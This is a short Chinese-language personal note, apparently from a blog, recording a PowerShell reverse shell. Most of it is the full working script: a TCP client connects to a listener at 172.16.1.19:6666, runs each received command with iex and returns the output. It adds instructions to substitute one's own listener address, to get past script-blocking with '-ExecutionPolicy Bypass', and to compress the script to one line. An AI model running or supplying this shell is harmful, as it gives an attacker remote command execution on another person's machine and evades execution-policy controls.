写在开始
之前发现了一个纯靠PowerShell就能弹Shell的方式,特地记录一下
使用方式
原理是调用C#的库,建立TCP连接
代码如下
$client = New-Object System.Net.Sockets.TCPClient('172.16.1.19', 6666);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % { 0 };
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
};
$client.Close()
把上面的IP地址和端口换成本机监听的IP地址和端口,然后执行这段PowerShell即可。写成ps1之后直接执行也可以,如果遇到禁止执行脚本,那就用下面的方法
PowerShell.exe -ExecutionPolicy Bypass -File run.ps1
这样就能临时执行一次PowerShell脚本了。
写在最后
这种最简单的方法之前找到过一次,后面想找就不是很好找了,特地留在这里备忘。上述脚本是可以压缩到一行的,将换行符都删掉就行了。